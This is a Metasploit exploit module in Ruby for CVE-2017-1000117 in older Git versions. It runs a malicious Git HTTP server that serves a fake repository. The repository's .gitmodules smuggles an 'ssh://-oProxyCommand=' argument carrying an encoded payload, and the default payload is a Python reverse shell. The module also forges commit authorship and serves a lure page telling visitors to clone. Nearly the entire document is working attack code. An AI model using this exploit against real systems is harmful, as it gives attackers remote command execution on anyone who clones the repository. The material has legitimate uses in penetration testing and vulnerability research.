git submodule command exec
Tim
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(
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info,
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'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
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'Description' => %q(
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This module exploits CVE-2017-1000117, which affects Git
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version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
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parameters from the username incorrectly. This can be used to inject
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commands to the operating system when the submodule is cloned.
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This module creates a fake git repository which contains a submodule
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containing the vulnerability. The vulnerability is triggered when the
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submodules are initialised.
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),
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2017-1000117'],
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['URL', 'http://seclists.org/oss-sec/2017/q3/280' ]
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],
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'DisclosureDate' => 'Aug 10 2017',
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'Targets' =>
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[
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[
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'Automatic',
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{
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Compat' =>
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{
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'PayloadType' => 'python',
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}
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}
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}
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],
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],
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'DefaultOptions' =>
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{
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'Payload' => 'cmd/unix/reverse_python'
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},
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
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]
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)
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end
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def setup
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@repo_data = {
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git: { files: {} },
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}
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setup_git
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super
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end
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def setup_git
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# URI must start with a /
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unless git_uri && git_uri =~ /^\//
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fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
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end
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payload_cmd = payload.encoded + " &"
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payload_cmd = Rex::Text.to_hex(payload_cmd, prefix = '%')
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gitmodules = "[submodule \"test\"]
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path = test
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url = ssh://-oProxyCommand=#{payload_cmd}/
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"
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sha1, content = build_object('blob', gitmodules)
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@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
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tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
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tree += "160000 test\0#{[sha1].pack('H*')}"
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sha1, content = build_object('tree', tree)
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@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
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## build the supposed commit that dropped this file, which has a random user/company
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email = Rex::Text.rand_mail_address
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first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
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full_name = "#{first.capitalize} #{last.capitalize}"
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tstamp = Time.now.to_i
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author_time = rand(tstamp)
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commit_time = rand(author_time)
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tz_off = rand(10)
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commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
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"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
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"\n" \
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"Initial commit to open git repository for #{company}!\n"
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sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
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@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
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@repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
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@repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
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end
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# Build's a Git object
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def build_object(type, content)
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# taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
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header = "#{type} #{content.size}\0"
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store = header + content
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[Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
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end
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# Returns the Git object path name that a file with the provided SHA1 will reside in
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def get_path(sha1)
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sha1[0...2] + '/' + sha1[2..40]
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end
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def exploit
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super
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end
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def primer
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# add the git and mercurial URIs as necessary
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hardcoded_uripath(git_uri)
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print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
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end
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# handles routing any request to the mock git, mercurial or simple HTML as necessary
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def on_request_uri(cli, req)
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# if the URI is one of our repositories and the user-agent is that of git/mercurial
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# send back the appropriate data, otherwise just show the HTML version
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if (user_agent = req.headers['User-Agent'] and user_agent =~ /^git\// && req.uri.start_with?(git_uri))
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do_git(cli, req)
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return
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end
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do_html(cli, req)
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end
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# simulates a Git HTTP server
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def do_git(cli, req)
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# determine if the requested file is something we know how to serve from our
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# fake repository and send it if so
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req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
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if @repo_data[:git][:files].key?(req_file)
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vprint_status("Sending Git #{req_file}")
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send_response(cli, @repo_data[:git][:files][req_file])
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else
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vprint_status("Git #{req_file} doesn't exist")
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send_not_found(cli)
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end
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end
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# simulates an HTTP server with simple HTML content that lists the fake
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# repositories available for cloning
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def do_html(cli, _req)
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resp = create_response
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resp.body = <<HTML
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<html>
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<head><title>Public Repositories</title></head>
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<body>
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<p>Here are our public repositories:</p>
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<ul>
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HTML
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this_git_uri = URI.parse(get_uri).merge(git_uri)
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resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
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resp.body << <<HTML
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</ul>
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</body>
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</html>
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HTML
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cli.send_response(resp)
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end
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# Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
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def git_uri
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return @git_uri if @git_uri
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if datastore['GIT_URI'].blank?
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@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
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else
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@git_uri = datastore['GIT_URI']
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end
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end
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end
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